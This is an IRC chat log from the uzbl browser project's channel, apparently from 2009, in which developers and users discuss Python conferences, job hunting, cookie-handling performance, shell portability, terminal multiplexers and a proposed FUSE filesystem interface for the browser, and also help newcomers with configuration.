13:53 < bob_f> So I'm not saying that idealistically python3 is a bad idea, just that pragmatically I really believe it's going to do a whole lot more harm than good.
13:53 < bob_f> But hopefully I'll be proved wrong, because I quite like writing Python for a living. :)
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13:59 < holizz> Phillemann, I can't find the slides. But a Psyco developer announced some huge performance increases at EuroPython.
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14:00 < bob_f> My colleague was telling me about this.
14:00 < bob_f> I can't find anything about it either. :(
14:00 < holizz> Michael Sparks took a video of the talk. So as soon as he's done transcoding, the videos will be up.
14:00 < bob_f> Ah, cool. If you could tell me about that when it's done I'd be very grateful.
14:01 < holizz> Who's your colleage? Maybe I met them?
14:01 < bob_f> Nick Martin ?
14:01 < bob_f> And Andrew Bulhak was also there.
14:01 < holizz> Hmm, I don't think so.
14:01 < bob_f> I opted not to go this year - went to PyCon UK last year and was not impressed.
14:02 < bob_f> And didn't see any talks this year that appealed to me.
14:02 < holizz> Heh. Wow. We went to the same conference.
14:03 < bob_f> Did you see Mark Shuttleworth's keynote ?
14:03 < holizz> Yep.
14:03 < bob_f> Do you remember someone having an argument with him about threads at the end when he was taking questions ?
14:03 < holizz> "I was the one wearing the Mark Shuttleworth costume"
14:03 < holizz> Not really. I take it that was you?
14:03 < bob_f> Yeah. :)
14:04 < bob_f> I basically got very pissed off about him encouraging the python community to focus on threads as though they're super important, and didn't hold back when I told him I thought he was wrong. :)
14:04 < bob_f> I was also extremely hungover.
14:05 < holizz> Heh.
14:06 < bob_f> Sorry, I don't usually drink coffee at the weekends; my fingers are getting ahead of themselves.
14:10 < holizz> Anyway, I should go take a shower. I shall return shortly to continue refactoring pywebrc.py.
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15:05 < holizz> bob_f, This is you, right? http://phgroup.com/opportunities.html
15:05 < bob_f> holizz: Yup - how did you track me down ? :)
15:06 < bob_f> linkedin ?
15:06 < holizz> I was going through the EuroPython booklet thing, looking at the delegates. And I noticed your colleagues' names.
15:06 < bob_f> Aha.
15:06 < bob_f> Yeah, we're mainly a data processing company, but we have a small dev team that does the webdev stuff.
15:07 < bob_f> And our new website is getting launched soon, so it won't look so ugly. :)
15:07 < holizz> What does "consulting staff" mean? Does that involve programming?
15:07 < bob_f> Nah.
15:07 < bob_f> It means people who get data sent to them from some company, and then do "stuff" to it, and then they send it back.
15:08 < bob_f> You looking for work ?
15:08 < holizz> Yep.
15:09 < bob_f> I don't think we have anything available at the moment, but if you want to send me a CV I can pass it on.
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15:09 < bob_f> Where are you located ?
15:09 < bob_f> Email's robertanthonyfarrell at gmail
15:10 < bob_f> Woo, tennis is starting.
15:10 < holizz> I'm in Sheffield at the moment, but I'm looking for work all over the EEA.
15:11 < bob_f> Okay. Well, I'm pretty much certain we don't have anything going, but if you want to give me your CV I can make sure I mention you if I hear we're hiring.
15:11 < holizz> There's no good jobs in Sheffield. I know, I applied to every one that doesn't require so many years of experience.
15:11 < bob_f> Assuming you're not a terrible programmer. ;)
15:11 < bob_f> You should apply to the ones that need the experience too - you never know.
15:11 < bob_f> But yeah, I think London's the place to be.
15:11 < holizz> I'm a great programmer. Just look at how many times I make commits per bug fix in uzbl ;)
15:12 < bob_f> Make sure you're on LinkedIn and Monster - I get calls and emails every month from people who've found me on them.
15:12 < holizz> I made a profile on LinkedIn, but not added to it.
15:12 < holizz> Thanks.
15:13 < bob_f> Anyway, I'm gonna watch the tennis - catch you later.
15:14 < holizz> Enjoy.
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16:51 < Allive> can anybody answer me, why cookies.py slows browsing very, very much
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16:55 < holizz> Because shelling out takes a long time. And it does that at least once for each request - that runs to hundreds of requests for each Web page sometimes due to lots of images, JavaScript, CSS that gets loaded from elsewhere.
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16:57 < Allive> and how can it be fixed ?
16:58 < holizz> Somebody's working on a daemon for handling cookies. Hopefully this will lead to faster cookie handling.
16:59 < Allive> I'll hope, thx for answering
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17:05 < ruskie> or you can comment out the cookie handler and have it all done in memory
17:06 < holizz> But then you don't get any persistance.
17:06 < ruskie> and it'll be fast but it won't store any cookies permanently or accross uzbl instances
17:08 < ruskie> hmm I wonder if there's a user mountable ram drive...
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17:10 < dxdx> ruskie: tmpfs, but that doesn't help at all with cookies
17:11 < ruskie> dxdx, that's not user mountable i.e. need to be root to mount
17:12 < dxdx> oh, good point, you mean some fuse thing
17:12 < ruskie> yup
17:12 < ruskie> dxdx, and it does for me... I want to store all cookies and the script on it and only sync with encrypted on-disk storage when the last instance of uzbl quits
17:13 < ruskie> the same for bookmarks etc ;)
17:20 < Allive> is there any working formfiller script ?
17:20 < scj> Allive: define working :p
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17:22 < bob_f> Allive: http://www.bitbucket.org/bobf/uzbld
17:22 < bob_f> It's still in progress but I've been running it for about 4 days now without any problems.
17:23 < bob_f> Longer than that, in fact.
17:24 < dxdx> (you could mention that it is the cookies daemon, not the formfiller script)
17:24 < dxdx> bob_f: also, why hg?
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17:25 < scj> Allive: try formfiller.sh and formmanager.js from http://github.com/scj/uzbl/tree/251517e95fe49de6aa63dad5c967ef5bc0dc9348/examples/data/uzbl/scripts
17:26 < Allive> thx, i'll try it
17:27 < scj> it's about to be merged into dieterbe/experimental, as soon as I've stopped procrastinating and made a few fixes to it
17:28 < Dieterbe> scj: ah so you found why it didn't work for me?
17:29 < scj> not really, but my guess is that it's silently giving up at the [[ -d $foo ]] tests
17:30 < Zaba_> do [ -d $foo ] or have #!/bin/bash in shebang (ignore this if it's already there)
17:30 < Allive> bob_f:thx, it work more faster
17:32 < dxdx> Zaba_: suddenly, a bunch of fanboys hate you (not me, but they are hiding everywhere)
17:32 < ruskie> [[ ]] is valid in bash and it seems zsh as well
17:33 < Zaba_> ruskie, but not in a posix /bin/sh
17:33 < ruskie> true
17:33 < ruskie> it's annoying when people assume sh -> bash
17:34 < Zaba_> very
17:34 < Zaba_> put dash on /bin/sh and watch things randomly explode..
17:35 < ruskie> yup
17:35 < dxdx> i disabled arrow keys in vim, and i always seem to spend two minutes trying to get to the end of a line (llll... or even $), before i realize that i have to "a" instead of "i"
17:35 < ruskie> and dash is quicker in quite a few cases
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17:37 < scj> in git, how do I get a diff of a specific file?
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17:37 < ruskie> git diff file
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17:42 < dxdx> fuck yeah! i just killed the delay when changing modes in vim! it was a problem with GNU screen, fixed with "maptimeout 0"
17:42 < dxdx> holizz ^
17:43 < holizz> Oooh.
17:43 < ruskie> dtach <3
17:43 < jrick> tmux <3
17:44 < mxey> Can tmux do autodetach these days?
17:44 < jrick> what is that?
17:44 < mxey> Not closing the session when the terminal it runs in just disappears, like SSH breaking up.
17:44 < scj> !dxdx++
17:45 < jrick> yeah, if a terminal closes, that client (and of course the server) keeps running
17:45 < mxey> the last time I checked, it did not when I closed my X terminal.
17:46  * mxey wonders if there is still any of this code left in tmux
17:46 < mxey> *his
17:46 < jrick> what version was that?
17:46 < mxey> not sure.
17:58 < mxey> jrick: I tried again with 0.8. "tmux" -> close window -> "tmux attach" -> "no sessions"
17:58 < jrick> hmm, that's odd
17:58 < jrick> I just tested it with 0.8, and it worked for me
17:59 < jrick> what terminal?
18:00 < mxey> rxvt-unicode
18:00 < jrick> same here
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18:19 < jrm8005> so it looks like my FUSE proposal finally made it to the ML
18:21 < rob|> that proposal doesn't sound too bad
18:21 < jrm8005> :)
18:21 < jrm8005> are there issues you have with it, though? I'd like to hear positive and negative
18:23 < rob|> well, how would you make the distinction between more uzbl instances, one diorectory per instance? wher the name of the dir would be the win id?
18:23 < rob|> s/more/many/
18:23 < jrm8005> rob|: sure, we could take a page from Plan9's book: /net
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18:23 < jrm8005> under there, there's a directory for tcp/ udp/ il/, etc
18:24 < jrm8005> then under those, there are directories for each connection, 0/ 1/ 2/, and so on
18:24 < jrm8005> and at the top level, there could be a clone file, where you could read it and it would give you a new instance
18:24 < rob|> hmm, sounds nice
18:25 < rob|> especially if we can create files on the fly that deliver specific information to the caller
18:25 < rob|> that would triviliaze tabbing
18:26 < jrm8005> yeah, things can be done dynamically. My example xorgfs is totally static, but there's no reason one couldn't add things dynamically just by supplying more read() and write() routines.
18:26 < jrm8005> yes, it would.
18:28 < rob|> i'm also thinking about making uzbl more modular, that way we could simply plug in a 9fs/fuse like thing
18:28 < dxdx> mxey: what do you use for fonts? i've struggled with it to get widths, heights, antialias, hinting and all that stuff right, but unfortunately urxvt hates me
18:29 < mxey> I just use the default fixed font.
18:29 < mxey> Xft is slow.
18:29 < dxdx> oh, the ugly one, no thanks
18:29 < mxey> Your problem.
18:29 < dxdx> yup
18:30 < jrm8005> rob|: you mean 9fs like the script? I don't think I read you
18:30 < dxdx> (indeed it is a problem to require "beautiful" fonts, i could be using a much faster renderer)
18:31 < jrm8005> dxdx: There are some really well-designed screen fonts that don't need antialiasing or subpixel quantum foobazery and they look great.
18:31 < jrm8005> Bigelow and Holmes' Lucida fonts are a great example.
18:31 < dxdx> lol@"subpixel quantum foobazery"
18:31 < rob|> jrm8005: no i meant a p9 alike fs like wmmi does use
18:32 < jrm8005> ok
18:32 < rob|> jrm8005: anyways, i found c-pluff to be quite nice, though i does involve using XML which doesn't seem so nice :(
18:32 < jrm8005> ew.
18:33 < jrm8005> I've always had a nasty time doing XML stuff.
18:33 < jrm8005> even with something like xerces.
18:34 < N30N> ls
18:34 < N30N> oops
18:34 < N30N> :)
18:34 < dxdx> jrm8005: wait, isn't that the same lucida console that is shipped with windows?
18:35 < noisetonepause> N30N: focus follows mouse?
18:35 < N30N> noisetonepause: yeh but was using keynoard only, just going to fast :)
18:35 < noisetonepause> i do it all the time..
18:35 < rob|> so, any suggestions on a plugin framework - or do we need to write it ourselves? (this could be hairy to get right on all platforms)
18:35 < jrm8005> dxdx: yes, actually, it is.
18:36 < jrm8005> rob|: aren't external scripts good enoug?
18:36 < dxdx> rob|: GModule?
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18:36 < ktne> uzbl is based on webkit?
18:36 < scj> we need a way to bind arbitrary webkit signals to arbitrary scripts
18:37 < dxdx> jrm8005: if sockets are the backend for FUSE, sure, external scripts are enough :P
18:37 < dxdx> scj: seconded
18:37 < Zaba_> ktne, yes
18:37 < jrm8005> dxdx: scj: I'm not familiar with webkit's `signals' but if you did an FS right, arbitrary messages would be easy to handle
18:38 < jrm8005> dxdx: also, if you're going to be working on a protocol, you should check out this tool called SPIN
18:38 < holizz> scj: I can do that ;)
18:38  * scj pops my monocle
18:38 < jrm8005> http://en.wikipedia.org/wiki/SPIN_model_checker
18:38 < dxdx> holizz: we don't need no stinkin
18:38 < dxdx> oops
18:38 < dxdx> holizz: we don't need no stinkin' python
18:39  * noisetonepause hugs lua
18:39 < ktne> how can i go to an url?
18:39 < holizz> Python? Not in MY software!
18:39 < dxdx> lol'd
18:39 < noisetonepause> ktne: how've you set it up?
18:40 < jrm8005> ktne: with the default config, o google.com
18:40 < jrm8005> otherwise you need to speak with the FIFO
18:40 < ktne> it doesn't work
18:40 < ktne> i did aptitude install uzbl on ubuntu9
18:40 < jrm8005> ktne: look at the example config in /usr/share
18:40 < dxdx> jrm8005: @SPIN, oh god how did i get here i am not good with computer
18:41 < noisetonepause> ktne: yeah, it takes a bit more than that
18:41 < jrm8005> dxdx: you're going to want to put your protocol through that.
18:41 < jrm8005> because otherwise, we risk having deadlocks.
18:41 < noisetonepause> ktne: read the faq, you need to setup a configuration file
18:41 < scj> we should rename uzbl to rtfm
18:41 < ktne> where do i copy the sample config file?
18:41 < dxdx> jrm8005: oh, i did that with two simultaneous loops in bash
18:41 < dxdx> scj: lol
18:42 < jrm8005> dxdx: that's not a good enough verification
18:42 < dxdx> jrm8005: but i did get something like a deadlock :D
18:42 < jrm8005> dxdx: yes, but without  a real verification, there could be more deadlocks hiding.
18:42 < holizz> scj: Change the default URI from about:blank to the README.
18:42 < dxdx> jrm8005: pretty weird, it went back alive randomly when i tried to inspect it with gdb
18:43 < jrm8005> dxdx: trust me, if you use SPIN it will be much easier to figure out what is wrong with your protocol
18:43 < jrm8005> because it will tell you where the deadlocks are and what they are.
18:45 < dxdx> the more i read, the more i say how did i get in here
18:45 < jrm8005> where?
18:45 < dxdx> http://spinroot.com/spin/whatispin.html
18:45 < dxdx> i feel stupid
18:45 < jrm8005> ah.
18:45 < jrm8005> well, maybe now you know why I got a little short about the protocol.
18:46 < jrm8005> and FS would make it way simpler.
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18:46 < jrm8005> I'm not dead-set against it, but I don't even think *I'm* smart enough to make a protocol
18:46 < jrm8005> and I sure as hell won't trust one that hasn't been put through something like SPIN.
18:46 < dxdx> thanks (?)
18:47 < dxdx> (i still don't get it)
18:47 < jrm8005> don't get what? spin?
18:47 < dxdx> yeah, and where am I failing
18:48 < jrm8005> dxdx: the thing is that it's very very hard to just look at a protocol and see where the non-progress cycles and deadlocks and livelocks are
18:48 < jrm8005> if you describe the protocol to spin, it can do the analysis for you, and mathematically/logically prove that the protocol has no non-progress problems.
18:49 < jrm8005> so since I don't trust human beings to make a decent protocol, much less debug it manually and/or empirically, I don't want to risk using a protocol that something like spin hasn't proven correct.
18:49 < dxdx> suddenly spin sounds pretty simple
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18:49 < jrm8005> it's not too bad.
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18:50 < jrm8005> you just have to learn the little language and accurately describe the protocol to it.
18:50 < dxdx> any pointers on how to learn that language?
18:50 < jrm8005> dxdx: there are some tutorials on that site.
18:52 < dxdx> this whole thing reminds me that i should go to uni or at least finish reading SICP
18:52 < jrm8005> dxdx: you should go to uni
18:53 < dxdx> i should
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18:53 < jrm8005> I know I sound like a snob all the time, but I've been using these things for quite a while now, and I like to think I know what I'm talkign about
18:58 < dxdx> jrm8005: (this will probably ruin the value of our flamewars by somewhat removing the objectivity of my statements, but i'll say it anyway: unv, v'z fvkgrra lrnef byq, v pna'g tb gb hav)
18:58 < rob|> well, thinking about fuse and our current fifo/socket stuff i guess the best method would be to expose the current way of doing things via an API and make the fifo and fuse things plugins that just use that api
18:59 < jrm8005> rob|: that sounds good. It will also ease the creation of something like `wmiir' for folks without FUSE or 9p or whatever
18:59 < rob|> we'd just need a couple of functions for the actions and one for setting/retreiving the variables
18:59 < rob|> jrm8005: exactly
19:00 < jrm8005> rob|: the FS and/or FIFO/socket could possibly be made separate processes with that approach
19:01 < rob|> yep, right. i'd also like to see bindings to some interpreted languages, so users could extend uzbl in their favourite lang without the need to spawn of too many procs
19:01 < dxdx> i'd like to see js config
19:02  * dxdx expects flames
19:02 < rob|> dxdx: that could just be another plugin
19:02 < jrm8005> rob|: yes, part of the FS approach was the JS config flamefest. With an FS interface, you can script whatever language you want to talk to the FS
19:02 < jrm8005> and the browser only has to be able to talk to the outside world.
19:03 < jrm8005> keeps the browser pretty simple, doesn't allow it to get bloated, and doesn't force one language on anyone
19:04 < scj> I'd also like a js config. won't add (much) bloat, simplifies parsing, and doesn't force any language on anyone
19:04 < scj> but we've been over this
19:04 < scj> and it was shot down
19:04 < jrm8005> scj: fork
19:04 < rob|> scj: well, it wasn't exactly shot down
19:05 < jrm8005> but still, an FS has a lot of benefits a scripting language config can't really give you
19:05 < scj> I like the FS idea though. ideally, I'd see both a js config and a FS interface
19:06 < rob|> so, has anyone experience with GModule?
19:06 < dxdx> hey, wait, if you hate turing completeness, why not use just JSON?
19:06 < dxdx> ok, ok, it's worse than XML
19:07 < jrm8005> scj: honestly, if an FS gets put in, a lot of the config arguments just go out the window.
19:07 < jrm8005> you can write a js script that does everything through the FS, and listens to all the files for cookies, history, etc.
19:08 < rob|> jrm8005: the point was to use uzbl's builtin JS interpreter
19:08 < jrm8005> rob|: it seems like half the people here don't think that's a good separation of responsibilities.
19:08 < dxdx> js config and FS are completely unrelated...
19:09 < dxdx> except for the fact that i like the former and hate the latter, and jrm8005 hates the former and likes the latter
19:09 < jrm8005> dxdx: all I said was that an FS solves some problems with the current config more elegantly.
19:09 < scj> jrm8005: I don't see why we necessarily need to force people to use external scripts if they don't want to
19:09 < rob|> so, let's focus on plugins and benefit from both and much more..
19:10 < jrm8005> heh, as long as the plugin framework causes no overhead. But I thought the point of uzbl was leaving that to external programs?
19:10 < rob|> we could just export an API function that that takes JS
19:10 < jrm8005> the filesystem could have some extra special files.
19:10 < jrm8005> a js file, and if you do cat foo.js > /n/uzbl/js, it gets interpreted.
19:11 < jrm8005> there could also be one for html, etc.
19:11 < dxdx> jrm8005: the point of uzbl was making a browser which stores data in some format that Dieterbe can include in backups :P
19:11 < rob|> jrm8005: well, my idea is to expose the current commands and all the setting/getting variables through a simple interface/API that would'n cause any overhead
19:11 < jrm8005> dxdx: not according to the webpage.
19:11 < dxdx> jrm8005: i said the original point, but nobody really cares about that now
19:12 < jrm8005> rob| ok, and the FS is another way of doing just that, so it's all good
19:12 < ukl> Do you know wmii? It uses exactly this approach via 9P. "Scriptable with any language" and so on. In the end, I don't think there are that many people that used this given chance. (Wmii isn't quite the most popular WM)
19:12 < jrm8005> dxdx: I care.
19:12 < jrm8005> ukl: that's true, but the problems with wmii's fs is that it doesn't do much that's useful
19:12 < dxdx> jrm8005: ok, ok, you do, but you care about other stuff that is more important that Dieterbe's backups so it is no longer the main point of uzbl
19:13 < jrm8005> whereas I think uzbl could leverage an FS to great effect
19:13 < jrm8005> dxdx: huh?
19:13 < scj> off topic, but ugh, I hate the word leverage. that's the new buzz word
19:13 < jrm8005> scj: I used it since before it was cool, but I agree.
19:13 < ukl> jrm8005: I agree. But if this problem is kept in mind, your proposal sounds nice. (I wish wmii would have done it properly, too...)
19:13 < dxdx> scj: enterprise java solutions
19:14 < jrm8005> dxdx: I think you should re-read the main page on the uzbl website.
19:14 < dxdx> jrm8005: i was just pointing out Dieterbe's motivation to start with uzbl
19:14 < jrm8005> ukl: yeah, I have a bit of experience with FS, and so does Kris, I just think it's hard to make an X11 wm do the FS things right.
19:14 < jrm8005> with files for the window bitmaps and stuff.
19:15 < jrm8005> so wmii winds up being an unfortunately pale shadow of something like rio
19:15 < rob|> Dieterbe: highliting you just to attract your attention to the plugin idea, i'd like to hear you opinion on this
19:15 < dxdx> rob|: i've highlighted Dieterbe enough
19:15 < jrm8005> whereas uzbl can really put an FS to good use
19:15 < dxdx> in fact i've asked Dieterbe about GModule previously but didn't have any good use cases
19:15 < jrm8005> rob|: so would the plugins be separate processes? Or something the user integrates by hand?
19:16 < jrm8005> GModule sounds like another dependency noone needs.
19:16 < Dieterbe> aargh
19:16 < Dieterbe> hilight overload
19:16 < dxdx> lol
19:16 < Dieterbe> as punishment i'm not gonna read it now
19:16 < Dieterbe> and do some further reading on the web
19:16 < jrm8005> lol
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19:16 < jrm8005> Dieterbe: browse the reddits.
19:16 < rob|> i pretty much like the way xmms exposes its functionality through an API, super easy to use..
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19:17 < jrm8005> rob|: APIs are pretty good, I'm just worried about things working their way in.
19:17 < dxdx> jrm8005: it is included with glib, and it's just a platform-indepedient wrapper around functions like dl
19:17 < jrm8005> not a fan of glib.
19:17 < dxdx> we already use it, sorry
19:17 < dxdx> everywhere
19:17 < jrm8005> I know :(
19:17 < rob|> well, uzbl makes heavy use of glib
19:17 < jrm8005> too bad no fltk port worked...
19:18 < Zaba_> dlfcn.h is rather standard though...
19:19 < dxdx> Zaba_: it's not available in windows (?). but AFAIK GModule also provides a standard way to expose APIs and other candy
19:19 < Zaba_> to hell with windows
19:19 < scj> what kind of plugins are we talking about, btw?
19:20 < jrm8005> Zaba_: agreed.
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19:20 < rob|> well, i'll look into getting something working during the next week - and probably rewrite the socket/fifo stuff as plugin
19:20 < Zaba_> what about statusbar? :P
19:20 < rob|> Zaba_: good point
19:21 < dxdx> Zaba_: now seriously, i think it also provides compatibility with solaris
19:21 < dxdx> but it's already there and it makes things easier, why not use it?
19:22 < scj> has anyone tried OWB and the sdl port of webkit?
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19:24 < dxdx> oracle warehouse builder?
19:24 < Dieterbe> !addquote scj> we should rename uzbl to rtfm
19:24 < uzblbot> Dieterbe: Error: "addquote" is not a valid command.
19:24 < Dieterbe> !quote add scj> we should rename uzbl to rtfm
19:24 < uzblbot> Dieterbe: Error: You must be registered to use this command. If you are already registered, you must either identify (using the identify command) or add a hostmask matching your current hostmask (using the "hostmask add" command).
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19:24 < scj> dxdx: http://www.sand-labs.org/owb
19:24 < dxdx> Dieterbe: your bot hates you
19:25 < Dieterbe> apparently. oh well screw the quote
19:25 < dxdx> holizz: how do you add quotes?
19:26 < holizz> !quote add hello
19:26 < uzblbot> holizz: The operation succeeded.  Quote #3 added.
19:26 < holizz> !quote get 1
19:26 < uzblbot> holizz: Quote #1: "ktne: just a blank window // N30N: ktne: that's uzbl" (added by holizz at 10:31 PM, July 04, 2009)
19:26 < dxdx> !quoute add !quote add
19:26 < holizz> You have to register first.
19:26 < uzblbot> dxdx: Error: "quoute" is not a valid command.
19:27 < dxdx> fail'd
19:28 < dxdx> !quote get 4
19:28 < uzblbot> dxdx: Quote #4: "dxdx" (added by dxdx at 07:27 PM, July 05, 2009)
19:29 < dxdx> "You've given me 12 commands within the last minute; I'm now ignoring you for 5 minutes." :(
19:29 < bob_f> Allive: Hello, sorry - been watching the tennis.
19:30 < Allive> = )
19:30 < Dieterbe> jrm8005> you can write a js script that does everything through the FS, and listens to all the files for cookies, history, etc <-- how is that different from fifo/socket? (i mean sure, the FS approach seems to have some advantages, but "the ability to build something in any language _on top of_ the filesystem" is something that can also be said about fifos/sockets)
19:31 < jrm8005> Dieterbe: yes, the FS is just cleaner
19:31 < bob_f> Allive: Did you follow the instructions in the readme ?
19:32 < jrm8005> I guess it also lets you ignore things you *don't* want to handle
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19:33 < jrm8005> e.g., if you wanted a background script, it would have to do blocking reads on the FIFO/socket, but it would have to intercept *all* messages, examine them, and discard ones it doesn't want.
19:34 < jrm8005> with separate files, like /uzbl/cookies, a script can eliminate the code to deal with messages it doesn't want.
19:34 < Dieterbe> dxdx / jrm8005 : it's true that i find plaintext very important for versioning/backing up all my "data".  but i don't think this is really related to the whole config discussion, just replying to a quote
19:34 < jrm8005> yeah, the backup thing is mostly for bookmarks/state/history
19:34 < Dieterbe> jrm8005: i have to admit i still need to give your email a good look.
19:35 < jrm8005> the config is a whole different thornbush.
19:35 < dxdx> Dieterbe: i just brought up something unrelated, sorry
19:37 < dxdx> scj: interesting, but i don't get what OWB is - it doesn't seem to be just a SDL based webkit browser
19:37 < Dieterbe> dxdx: no problem at all.  it's nice to know that at least someone knows the true essence of why i started uzbl ;)  (someone who doesn't say "a vimperator-like on webkit" or "a lightweight browser"). where did you find this out?
19:37 < scj> dxdx: it seems to be some sort of framework for allowing webkit to be built on handheld devices
19:38 < dxdx> Dieterbe: stalking in your blog
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19:38 < ktne> hello
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19:38 < jrm8005> Dieterbe: the website seems to expouse the Unixy stuff, was that an afterthought?
19:38 < ktne> is it ok to close a window by killing it?
19:38 < ktne> or should i use some sort of "quit" command?
19:39 < dxdx> ktne: i think you'll be left with a zombie fifo/socket
19:39 < dxdx> we should handle that
19:39 < ktne> hmm
19:39 < jrm8005> does uzbl trap SIGINT?
19:39 < jrm8005> and clean up?
19:39 < Dieterbe> rob|> Dieterbe: highliting you just to attract your attention to the plugin idea, i'd like to hear you opinion on this <-- not sure.  i wonder, if we go the FS route, do we still need the plugin way? the plugin stuff seems like something we could avoid and doesn't offer much value (if we do the FS thing)
19:40 < jrm8005> Dieterbe: the FS would wind up giving you basically the same API
19:40 < dxdx> jrm8005: just asked mr. uzbl.c and it replied that it does clean up on SIGINT and SIGTERM
19:40 < jrm8005> dxdx: coolio, then you can probably kill it.
19:40 < jrm8005> as long as it's not kill -9
19:41 < dxdx> ktne: ^
19:41 < jrm8005> Diterbe: the thing about an FS is that it will be easier to have blocking and non-blocking calls.
19:41 < ktne> i'm not sure how it's killed by wmii
19:41 < jrm8005> ktne: probably SIGTERM
19:41 < jrm8005> that's the `nice' way to kill a process
19:41 < ktne> ok
19:42 < ktne> thanks
19:42 < dxdx> if it's a window manager it should use the X method to kill clients, which is safe too
19:42 < Dieterbe> jrm8005> Dieterbe: the website seems to expouse the Unixy stuff, was that an afterthought? <-- absolutely not.  i've always had this "attraction" to making my "environment" more usable, simple and elegant by using simple tools and plaintext formats. (with the result that i can easily do backups, among others).  to me , the unix philosophy is what this is all about.  i hope i'm not missing anything? ;)
19:42 < jrm8005> Dieterbe: that makes me feel better :P
19:42 < jrm8005> I've felt trapped by FF, and uzbl seems like it is my escape hatch, as long as it doesn't stray
19:43 < dxdx> unix is making us stupid, while windows users constantly train their minds to do everything in weird ways
19:43 < jrm8005> dxdx: huh?
19:44 < dxdx> jrm8005: have you ever seen a windows user trying to unmount a usb drive?
19:44 < scj> I still have no idea how you are actually supposed to do it :v
19:44 < jrm8005> in Unix? they usually have a desktop with a little `eject' button
19:44 < jrm8005> or in windows, with that weird `safely remove' thing?
19:44 < dxdx> yeah, that weird thing
19:45 < jrm8005> oh, yeah, and it brings the same device up in the list like 5 times
19:45 < jrm8005> one for USB endpoint device, one for mass storage, one for volume... confuses the hell out of me.
19:45 < dxdx> well, experienced windows users will choose the right one in less than one second
19:45 < Phillemann> That's not really a great example. In Unix, if you pull out the cable of a usb drive, nothing happens (unless you reconfigure your udev somehow).
19:46 < jrm8005> Phillemann: you could lose data due to block caching
19:46 < dxdx> Phillemann: filesystems don't always write synchronously
19:46 < jrm8005> even FAT is subject to the block caching system.
19:47 < Dieterbe> woohoo i catched up.
19:47 < jrm8005> it's done above the driver level, so IIRC unless you tell it to mount with write-through, all FS except networked ones get cached
19:47 < jrm8005> Dieterbe: hooray :)
19:47 < dxdx> but i agree it's not the best example of weird behaviors acquired by windows users, i just couldn't think of anything else
19:47 < Phillemann> Yes, that's the point, you get no notice of "well, the files you see? They're not there anymore"
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19:47 < Dieterbe> jrm8005: do you have a blog/website? or could you tell us a little about yourself. you seem to know your stuff quite well
19:47 < jrm8005> Dieterbe: I have a site through my institute, but there isn't much there.
19:48 < jrm8005> I don't blog/myspace/facebook/nada
19:48 < dxdx> myspace is dead and facebook is a conspiration (?), blogs are safe
19:48 < jrm8005> dxdx: even if I wanted to blog, I don't have the time.
19:48 < holizz> dxdx: conspiracy?
19:49 < jrm8005> I get out of work later than 1800 every day.
19:49 < scj> holizz: RMS said so
19:49 < dxdx> holizz: oops, thanks
19:49 < scj> cia is spying on peoples facebooks
19:50 < scj> and since RMS said it, it's gotta be true
19:50 < dxdx> lol
19:50 < ktne> it looks like shift+f highlights the links, but how do i enter the number?
19:50 < jrm8005> RMS is such a dick.
19:50 < uranther> dxdx, how about manually configuring network settings in Vista? that's a long series of clicks...
19:50 < Dieterbe> jrm8005: okay option 2 then. tell us some relevant things that explain your experience with this stuff :)
19:50 < jrm8005> did anyone see the video where he eats something he finds in his foot?
19:50 < Dieterbe> haha yea
19:50 < Dieterbe> but i thought that was his nail or something, no?
19:50 < jrm8005> Dieterbe: still gross.
19:51 < ktne> hey
19:51 < Dieterbe> i also chew on nails from my toes (but i don't eat them)
19:51 < dxdx> scj: i think he was pointing out the typo (i will never get that word straight, anyway)
19:51 < ktne> how do i enter the number of the link where i want to go?
19:51 < jrm8005> anywho, about me, I've been programming for... hmm... not that long, actually, 6,7 years
19:51 < jrm8005> won some awards in competitions at the state level, went to nationals.
19:52 < dxdx> uranther: yeah, good one (never used vista, but network configuration always sucked)
19:52 < jrm8005> got into CS in college, went crazy with it
19:52 < scj> ktne: opening a link in a new window is a bit finicky
19:52 < holizz> WTF? Why doesn't Google tell me what RMS said about Facebook? This conspiracy involves Google too!
19:52 < ktne> scj: i want to open it in the same window
19:52 < ktne> scj: i just don't know how to enter the number of the link
19:52 < jrm8005> done some pretty cool work in the field. I worked on embedded OS for printers, now I'm working for an investment bank on market analysis tools.
19:52 < scj> ktne: you just type it after the hints are shown
19:53 < holizz> jrm8005, There are programming competitions?
19:53 < ktne> scj: but the number gets added to command mode
19:53 < jrm8005> holizz: I was in this thing late in my high school career called FBLA
19:53 < jrm8005> they had some programming stuff
19:53 < ktne> scj: when i press Enter, nothing happens
19:53 < jrm8005> I got 3rd in the USA for Network Design
19:54 < scj> ktne: what hinting script are you using?
19:54 < ktne> the one that comes by default
19:54 < holizz> jrm8005, Facebook Los Angeles?
19:54 < ktne> the one in examples
19:54 < BLP__> holizz: wasn't it about proprietary javascript code ?
19:54 < jrm8005> ``Future Business Leaders of America''
19:54 < jrm8005> a rather nebulous name.
19:54 < scj> scj: try the one bound to fl
19:55 < jrm8005> and a pointless little club, but I got awards and plaques and got to travel for free.
19:55 < BLP__> http://www.gnu.org/philosophy/javascript-trap.html
19:55 < ktne> scj: thanks, that works
19:55 < holizz> BLP__, I remember that.
19:55 < jrm8005> holizz: do you know much abotut the current uzbl_tabbed.py? I don't see multiple tabs in mine...
19:55 < holizz> jrm8005, lazzareth_ is the one to ask about that.
19:55 < dxdx> BLP__: i facepalm'd
19:55 < BLP__> :d
19:56 < jrm8005> lazzareth_ : ping?
19:56 < scj> ktne: and if you want it to work a little more like vimperator, you can try linkfollow.js
19:56 < ktne> thanks
19:57 < holizz> jrm8005, I think you add tabs using ... gn.
19:57 < Phillemann> Is it not possible to open a link in a new tab?
19:57 < holizz> jrm8005, Although it should have the tab bar by default.
19:57 < holizz> Phillemann, Nope, not yet. That will come when we get non-blocking handlers.
19:57 < jrm8005> it has the tab bar, but it only shows one tab, even if I use `gn'
19:57 < dxdx> "Appendix: a convention for releasing free JavaScript programs" *facepalm.jpg*
19:57 < jrm8005> I can switch tabs, but the bar only shows the current one
19:57 < Dieterbe> jrm8005: wait.. what? you? uzbl_tabbed.py? i thought you were the most purist of us all :)
19:57 -!- Irssi: #uzbl: Total of 89 nicks [0 ops, 0 halfops, 0 voices, 89 normal]
19:57  * Dieterbe disappointed
19:58 < jrm8005> Dieterbe: it's not great, but it's better than nothing. I'd actually like something that looks like Acme
19:58 < jrm8005> Dieterbe: honestly, if p9p rio could be run inside itself, I wouldn't need it.
19:59 < jrm8005> perhaps once I can make uzbl plumb text, I will need it less.
19:59 < ktne> is there any way i can open a new empty window?
19:59 < jrm8005> even though they say Acme is a text editor, it's really a window system
19:59 < scj> ktne: bind foo = spawn uzbl
